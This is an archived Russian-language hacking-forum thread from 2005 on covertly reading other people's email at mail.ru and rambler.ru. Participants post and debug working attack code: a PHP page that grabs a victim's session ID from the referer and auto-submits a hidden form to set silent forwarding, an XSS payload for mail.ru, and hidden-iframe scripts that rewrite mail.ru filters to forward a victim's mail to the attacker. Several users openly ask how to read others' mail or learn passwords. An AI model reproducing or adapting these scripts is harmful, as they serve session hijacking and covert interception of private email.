чтение почты на mail.ru и rambler.ru [Архив]

4e/\

16.04.2005, 13:42

Что то раньше катил метод про переадресацию на другой ящик с ящика рамблера щас это походу прикрыли может можно ещё как то сделать так?
И ещё как на mail.ru переадресацию сделать?
Всем заранее спасибо.

Майор

16.04.2005, 19:03

на рамблере принцип ослался тотже

4e/\

16.04.2005, 19:12

Майор объясни пожалуйсто что надо залить на сайт какой html код? Чтобы потом через тег img всё сработало напиши код html заранее спасибо.

Майор

16.04.2005, 23:57

<?
$nomer=strpos("$HTTP_REFERER","Session/")+8;
$id=substr("$HTTP_REFERER","$nomer",36);
echo "
<html><FORM name='forma' ACTION='http://mail.rambler.ru/Session/{$id}/Rules.wssp' method='post' enctype='multipart/form-data'>
<INPUT type='hidden' name='FormCharset' value='windows-1251'>
<INPUT TYPE='checkbox' NAME='Redirect' VALUE='1' class='box' CHECKED>
<TEXTAREA style='width:0%;' NAME='RedirectText' ROWS='0' COLS='0'>TVOE_MILO</TEXTAREA>
<INPUT TYPE='hidden' NAME='RedirKeep' VALUE='1' class='box' CHECKED>
<INPUT TYPE='hidden' NAME='RedirHuman' VALUE='0' class='box'>
<INPUT TYPE='hidden' NAME='KeepToAndCc' VALUE='1' class='box' CHECKED>
<INPUT type='hidden' name='Update' VALUE='1' class='box' CHECKED>
</form>
<script LANGUAGE=javascript>
document.forma.submit();
</SCRIPT> ";
?>

Вот как-то так :)
PS причем эту страничку придётся запихнуть в iframe

4e/\

17.04.2005, 10:04

Майор значит вон тот код там надо своё мыло вписать которое на рамблере потом всё это сохранить в .php потом загрузить на сайт а какое письмо надо писать раньше же <img> работал <iframe src="adres.php"></iframe> или как? Объясни пожалуйсто

iSLa4

17.04.2005, 12:21

А про майл.ру есть?

Майор

17.04.2005, 12:33

4e/\

17.04.2005, 15:00

А про майл.ру есть?
А ты уже понял как на рамблер.ру читать?
Майор а можешь если не трудно видео записать всё делал как ты написал но не выходит нифига. Напиши пожалуйсто видео. На главную выложите как напишите пожалуйсто очень надо.

Master Of Decption

17.04.2005, 16:41

4e и Майор
На mail.ru пересылку можно в фильтра задать.

Майор

17.04.2005, 19:11

А ты уже понял как на рамблер.ру читать?
Майор а можешь если не трудно видео записать всё делал как ты написал но не выходит нифига. Напиши пожалуйсто видео. На главную выложите как напишите пожалуйсто очень надо.
да, там подругому малёк id придётся получить, потом посмотрю когда время будет

4e и Майор
На mail.ru пересылку можно в фильтра задать.

тогда жертва не будет получать письма, что окажется подозрительно, конешно можно отсылать жертве копии специальным скриптом, но мне кажется это неоправдано сложновато будет...

4e/\

17.04.2005, 19:22

Майор ок посмотришь напишешь сюда или сделай видео если не трудно.
тогда жертва не будет получать письма, что окажется подозрительно, конешно можно отсылать жертве копии специальным скриптом, но мне кажется это неоправдано сложновато будет...
А на майл.ру как сделать чтобы переадресация шла с ящика майл на мой ящик а на тот ящик ничего не приходило? Напиши код пожалуйсто

Master Of Decption

17.04.2005, 20:57

тогда жертва не будет получать письма, что окажется подозрительно, конешно можно отсылать жертве копии специальным скриптом, но мне кажется это неоправдано сложновато будет...

Ты ошибаешься :)
Там есть галочка оставлять копии в папке такой-то, посмотри настройку фильтра пересылки.

Майор

17.04.2005, 22:02

Master Of Decption
Точно :)
PS смотрел меню давно и мельком

А ты уже понял как на рамблер.ру читать?
Майор а можешь если не трудно видео записать всё делал как ты написал но не выходит нифига. Напиши пожалуйсто видео. На главную выложите как напишите пожалуйсто очень надо.

что и xss нашёл :) ?
там видимо фильтры нормальные поставили и не одна старая xss не работает ...

Xeeper

22.05.2005, 16:12

Господа, большая просьба сообщить о действующих способах на сегодняшний день (на Rambler.ru).
Если паблика не хотите, можно в ПМ. Я не работаю на Rambler ( это можно легко проверить с большой вероятностью), мне просто нужно хотяб поиметь возможность просматривать письма другого ящика (пароль узнавать не обязательно)

Xeeper

26.05.2005, 23:10

Мож кто-нить чё-нить ответит ? :d

JazzzSummerMan

27.05.2005, 08:05

Xeeper
если по-простому, ты можешь общаться с человеком в инете, и попросить его проверить свой ящик на рамблере, и ПОКА ОН В ПОЧТЕ быстро воспользоваться его сессией. Подробно расписывать лишний раз нет смысла, тут много было написано

Xeeper

27.05.2005, 23:50

Я как раз и имею ввиду те способы о которых тут было много написанно. Работают ли они на сегодняшний день или все дыры уже прикрыты ? и остаётся тока соц.инженерия ?

Ar3s

30.05.2005, 12:13

Наскока я знаю - все прикрыто. Мне вот тоже очень нужно. Пробовал все. МИМО!

JazzzSummerMan

30.05.2005, 12:19

что и xss нашёл :) ?
там видимо фильтры нормальные поставили и не одна старая xss не работает ...
Там и так фильтры нормальные стояли. А которую мы нашли (не помню уже какую точно), тоже теперь не работает?

Майор

30.05.2005, 16:40

проблема в том что тама все xss прекрыли, атребут src во всех тегах фильтруется очень чётко

Ar3s

30.05.2005, 17:58

А нового ничего не копали? Если есть эксперты в этом деле...
Можно было бы объединить усилия и в несколько рук разгрести еще чего...

JazzzSummerMan

01.06.2005, 17:05

хехе
ну для начала объявляется типа конкурс на нахождение Xss в письмах) Интересно, найдет кто-нибудь? Мне кажется решаемый вопрос-то в принципе)

Xattab

01.06.2005, 19:29

Всем привет!
хехе
ну для начала объявляется типа конкурс на нахождение Xss в письмах) Интересно, найдет кто-нибудь? Мне кажется решаемый вопрос-то в принципе)
конкурс? А какой приз?
Я нашел рабочий XSS на mail.ru в атрибуте image src=

JazzzSummerMan

01.06.2005, 20:03

Всем привет!

конкурс? А какой приз?
Я нашел рабочий XSS на mail.ru в атрибуте image src=
я имел ввиду "типа конкурса", внутри раздела емэйл и в рамках обсуждения рамблера)
приза наверна никакого, кроме признания среди вас, специалистов
Кстати на мэйл.ру не совсем актуально. Раз уж тема о чтении чужих писем, то на мэйле скрипт не нужн для организации пересылки, там все через простой запрос делается. А вот на рамблере нужен, и тем интереснее, что там все шито-крыто, защищено от XSS, поэтому повторяюсь:
все ищем на рамблере способ запустить JavaScript внутри письма)

RuSSo

01.06.2005, 20:46

Нормальный человек нашедший уязвимость java не будет кидать е сюда.
Какой нить идиот сделат видео и кинет его сюдам ламерам в тот же дегь ету дыру приктоют.

RuSSo

01.06.2005, 20:49

Такие уязвимости либо испоьзуют в своих целях либо продают за деньги.
Но никак не кидают на этот форум,где 98 % сидит ламеров, которые ничего кроме как подставить по аналогии не могут.

Xattab

01.06.2005, 22:48

Кстати на мэйл.ру не совсем актуально. Раз уж тема о чтении чужих писем, то на мэйле скрипт не нужн для организации пересылки, там все через простой запрос делается.
На скока я знаю простой запрос для прописки фильтра уже не работает на майле больше месяца. Если знаешь, как правильно выглядит этот запрос, плиз запости здесь.

Майор

01.06.2005, 23:14

На скока я знаю простой запрос для прописки фильтра уже не работает на майле больше месяца. Если знаешь, как правильно выглядит этот запрос, плиз запости здесь.
нынче система проверяет REFERER

JazzzSummerMan

01.06.2005, 23:33

надо писать скрипт который отправляет заголовок

Ar3s

03.06.2005, 14:54

Я только не понял есть всетаки Xss или нет?
И кто возьмется написать скрапт?

Майор

03.06.2005, 16:54

mail.ru
<image src=JaVaScRiP:alert()>

RuSSo

03.06.2005, 17:13

Майор Молодца :)))))
Ты тока хорошо подумал ?

Майор

03.06.2005, 17:24

это общеизвестная xss и это не секрет

JazzzSummerMan

03.06.2005, 17:35

хехе, Майор непонятно,
имеется ввиду что на рамблере что ли работает это?

RuSSo

03.06.2005, 17:42

Я имел в виду нечто другое. ))

Xattab

03.06.2005, 21:18

mail.ru
<image src=JaVaScRiP:alert()>
На майле работает, а на рамблере нет :(
Тока ошибся на один знак JaVaScRiPt

Devochka

06.06.2005, 00:02

мне очень нужно узнать пороль к мылу , с чего начинать?

Майор

06.06.2005, 00:40

мне очень нужно узнать пороль к мылу , с чего начинать?
прочесть послнедние 5 тем в этом разделе ;)

Ejivica

08.06.2005, 12:59

угу я уже тут столько прочла, что мне сниться этот форум начал. И сделала один большой вывод... ничего у меня самой не получиться... потому как я ничего не умею, а извесные шаблоны уже не работают, вот сижу и гадаю что бы придумать...

Rebz

08.06.2005, 13:26

Сницца - это хорошо. =))
Да рановато пока новичком вникать в суть Xss, если они не знают что это такое! Всё просто - без знаний ничего не будет. Поройтесь в поисковике, узнайте больше про Xss, если вам это интересно, конечно..

Ejivica

08.06.2005, 13:44

Ага узнавала, читала... а толку мало... ну и что что я узнала, что это такое. Я же не могу это использовать так, как мне нужно! :(((

JazzzSummerMan

08.06.2005, 13:53

Ребя хватит флеймить в теме, создавайте новые топики по отдельным вопросам, а то буду удалять, мне пофиг, я модератор

mra214

15.06.2005, 14:04

При загрузке страницы в <iframe src="http://win.mail.ru/cgi-bin/editfilter"> она открывается, если ссылка на страницу с этим ифрейм была запущена прям с почты - у меня во всяком случаи она всегда туды загружается...
Но скрипт который я пробовал написать почему-то не пашет, хотя в оффлайн у меня все работает :confused: .Может кто найдет где я ошибся...
Вот и сам скрипт:

<html>
<head><title>}{@|<e®     ;-)</title></head>
<script language="JavaScript">
function hackit() {

editf.document.Compose.Size.value="10000"
editf.document.Compose.Action[2].checked=true;
editf.document.Compose.Forward.value="my_mail@mail.ru";
editf.document.Compose.KeepMail[1].checked=true;
editf.document.Compose.submit();

}
</script>
<body>
<iframe width=0 height=0 src="http://win.mail.ru/cgi-bin/editfilter" name="editf" onLoad='hackit()' ></iframe>
</body>

</html>

JazzzSummerMan

15.06.2005, 14:11

что-то непонятно зачем фрейм создавать, если можно форму перенести просто

mra214

15.06.2005, 14:18

JazzzSummerMan
А по подробней...если можно форму перенести просто
А если именно в таком виде, то в чем ошибка?
Почему в оффлайн работает все? а в онлайн, при загрузке страницы в ифрейм, нет?

JazzzSummerMan

15.06.2005, 14:30

Так, понял о чем ты.. Значит форму бесполезно переносить на страницу, потому что реферер проверяется. А что именно не получается у тебя в онлайне? Ошибка доступа к элементам фрейма?

JazzzSummerMan

15.06.2005, 14:36

скрипт надо имхо заносить в onLoad твоего фрейма, тогда заработает

mra214

15.06.2005, 14:38

Дело в том, что я не знаю в чем это ошибка заключается...
Но наврятле в элементах фрейма - ведь в оффлайн не выдает ошибки...а точнее при выполнении скрипта в оффлайн, доступ к элементам фрейа осуществляются и вроде все работает, но в строке статуса написано: Done, but with erors.

JazzzSummerMan

15.06.2005, 14:42

скрипт сразу выполняется, а содержимое страницы фильтров еще не загружено, поэтому и ошибка. Сделай так <iframe src="............../editfilter" OnLoad="javascript.......">

mra214

15.06.2005, 14:43

скрипт надо имхо заносить в onLoad твоего фрейма, тогда заработает
Мне что весь скрипт поместить в onLoad?
Напиши по подробней...

JazzzSummerMan

15.06.2005, 14:50

"скрипт надо имхо заносить в onLoad твоего фрейма, тогда заработает"
"Сделай так <iframe src="............../editfilter" OnLoad="javascript.......">"
два раза уже написал,к уда подробнее

mra214

15.06.2005, 14:52

Sorry.Не заметил... Сейчас попробую.
Хотя не понимаю почему это скрипт раньше выполянется....

mra214

15.06.2005, 15:50

Опять та же история...
При вставке следущего скрипта:
<html>
<head><title>}{@|<e®     ;-)</title></head>

<body>
<iframe width=0 height=0 src="http://win.mail.ru/cgi-bin/editfilter" name="editf" onLoad="JavaScript:editf.document.Compose.Size.value='1000 0';
editf.document.Compose.Action[2].checked=true;
editf.document.Compose.Forward.value='my_mail@mail .ru';
editf.document.Compose.KeepMail[1].checked=true;
editf.document.Compose.submit();" ></iframe>
</body>

</html>
:confused:

JazzzSummerMan

15.06.2005, 17:08

Здесь уже дело техники. Скрипт надо немного переработать. У тебя вон зачем-то перенос строк идет и все такое